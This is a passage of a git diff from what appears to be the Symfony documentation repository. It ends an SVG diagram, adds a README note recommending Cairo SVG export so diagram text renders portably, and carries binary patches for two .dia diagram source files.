+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4.75 0.7375 L 8.95 0.7375 C 9.529883 0.7375 10 1.2625 10 1.909961 C 10 2.557422 9.529883 3.082422 8.95 3.082422 L 4.75 3.082422 C 4.170117 3.082422 3.7 2.557422 3.7 1.909961 C 3.7 1.2625 4.170117 0.7375 4.75 0.7375 Z M 4.75 0.7375 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-15" x="110.1875" y="47.186035"/>
+  <use xlink:href="#glyph0-10" x="119.148275" y="47.186035"/>
+  <use xlink:href="#glyph0-26" x="127.377441" y="47.186035"/>
+  <use xlink:href="#glyph0-8" x="136.155653" y="47.186035"/>
+  <use xlink:href="#glyph0-10" x="144.974555" y="47.186035"/>
+  <use xlink:href="#glyph0-7" x="153.366482" y="47.186035"/>
+  <use xlink:href="#glyph0-18" x="160.234429" y="47.186035"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13.3 10.932422 C 13.134375 10.932422 13 11.066797 13 11.232422 L 13 13.817773 C 13 13.983398 13.134375 14.117773 13.3 14.117773 L 20.752539 14.117773 C 20.918164 14.117773 21.052539 13.983398 21.052539 13.817773 L 21.052539 11.232422 C 21.052539 11.066797 20.918164 10.932422 20.752539 10.932422 Z M 13.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="294.84375" y="259.490723"/>
+  <use xlink:href="#glyph0-14" x="302.077637" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="307.645128" y="259.490723"/>
+  <use xlink:href="#glyph0-12" x="316.037055" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="324.165039" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="329.590115" y="259.490723"/>
+  <use xlink:href="#glyph0-27" x="337.982042" y="259.490723"/>
+  <use xlink:href="#glyph0-2" x="344.971788" y="259.490723"/>
+  <use xlink:href="#glyph0-24" x="353.75" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="361.430664" y="259.490723"/>
+  <use xlink:href="#glyph0-5" x="369.822591" y="259.490723"/>
+  <use xlink:href="#glyph0-21" x="378.742947" y="259.490723"/>
+  <use xlink:href="#glyph0-22" x="383.477376" y="259.490723"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 42.3 10.932422 C 42.134375 10.932422 42 11.066797 42 11.232422 L 42 13.817773 C 42 13.983398 42.134375 14.117773 42.3 14.117773 L 51.7 14.117773 C 51.865625 14.117773 52 13.983398 52 13.817773 L 52 11.232422 C 52 11.066797 51.865625 10.932422 51.7 10.932422 Z M 42.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-2" x="849.046875" y="259.490723"/>
+  <use xlink:href="#glyph0-5" x="857.825087" y="259.490723"/>
+  <use xlink:href="#glyph0-17" x="866.745443" y="259.490723"/>
+  <use xlink:href="#glyph0-8" x="876.356717" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="885.175618" y="259.490723"/>
+  <use xlink:href="#glyph0-19" x="890.763455" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="899.704156" y="259.490723"/>
+  <use xlink:href="#glyph0-5" x="908.096083" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="917.016439" y="259.490723"/>
+  <use xlink:href="#glyph0-4" x="922.604275" y="259.490723"/>
+  <use xlink:href="#glyph0-9" x="927.013726" y="259.490723"/>
+  <use xlink:href="#glyph0-12" x="934.247613" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="942.375597" y="259.490723"/>
+  <use xlink:href="#glyph0-4" x="947.963433" y="259.490723"/>
+  <use xlink:href="#glyph0-2" x="952.372884" y="259.490723"/>
+  <use xlink:href="#glyph0-5" x="961.151096" y="259.490723"/>
+  <use xlink:href="#glyph0-28" x="970.071452" y="259.490723"/>
+  <use xlink:href="#glyph0-8" x="978.768283" y="259.490723"/>
+  <use xlink:href="#glyph0-9" x="987.587185" y="259.490723"/>
+  <use xlink:href="#glyph0-9" x="994.475477" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="1001.36377" y="259.490723"/>
+  <use xlink:href="#glyph0-7" x="1009.755697" y="259.490723"/>
+  <use xlink:href="#glyph0-7" x="1016.623644" y="259.490723"/>
+  <use xlink:href="#glyph0-21" x="1023.491591" y="259.490723"/>
+  <use xlink:href="#glyph0-22" x="1028.22602" y="259.490723"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.89668 3.131836 L 6.942578 4.333789 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.692773 4.343359 L 6.961719 4.833398 L 7.192383 4.324414 Z M 6.692773 4.343359 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.019141 8.167187 L 7.00957 10.333008 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.75957 10.332031 L 7.007422 10.833008 L 7.25957 10.33418 Z M 6.75957 10.332031 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.050195 12.525195 L 12.4 12.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 12.4 12.775195 L 12.9 12.525195 L 12.4 12.275195 Z M 12.4 12.775195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.102734 12.525195 L 23.399805 12.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 23.399805 12.775195 L 23.899805 12.525195 L 23.399805 12.275195 Z M 23.399805 12.775195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.050391 12.525195 L 32.399609 12.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 32.399609 12.775195 L 32.899609 12.525195 L 32.399609 12.275195 Z M 32.399609 12.775195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 39.029297 12.525195 L 41.400586 12.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.400586 12.775195 L 41.900586 12.525195 L 41.400586 12.275195 Z M 41.400586 12.775195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 47 14.167188 L 47 16.333008 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 46.75 16.333008 L 47 16.833008 L 47.25 16.333008 Z M 46.75 16.333008 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 12.049414 23.525195 L 14.420703 23.525195 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 14.420703 23.775195 L 14.920703 23.525195 L 14.420703 23.275195 Z M 14.420703 23.775195 " transform="matrix(20,0,0,20,1,1)"/>
+</g>
+</svg>
diff --git a/_images/sources/README.md b/_images/sources/README.md
index 9e40e0ac884..8ca7538bf5d 100644
--- a/_images/sources/README.md
+++ b/_images/sources/README.md
@@ -27,6 +27,12 @@ Saving and Exporting the Diagram
 * Save the original diagram in `*.dia` format in `_images/sources/<folder-name>`;
 * Export the diagram to SVG format and save it in `_images/<folder-name>`.
 
+Important: choose "Cairo Scalable Vector Graphics (.svg)" format instead of
+plain " Scalable Vector Graphics (.svg)" because the former is the only format
+that transforms text into vector shapes (resulting file is larger in size, but
+it's truly portable because text is displayed the same even if you don't have
+some fonts installed).
+
 Including the Diagram in the Symfony Docs
 -----------------------------------------
 
diff --git a/_images/sources/form/form-custom-type-postal-address-fragment-names.dia b/_images/sources/form/form-custom-type-postal-address-fragment-names.dia
index aebdadb41701a5dbfc9f99f809b3ed9135447dc8..ca12fcdeadc0fbb8284f50fcfea9d02882ddd183 100644
GIT binary patch
delta 2563
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
Zvzrg)2m3S0{OQey{{#3*-tK?4008#P6gB_=

delta 2561
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
X55))jGfn;3&4>R3yQW{Yf3^SsFW(c5

diff --git a/_images/sources/form/form-custom-type-postal-address.dia b/_images/sources/form/form-custom-type-postal-address.dia
index 35a1eaebfd662ec9a9b3cb14c7f6a6eb8a78c552..1b7c6226315ee9d656f8441e40ca8351a89a8204 100644
GIT binary patch
delta 2022
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
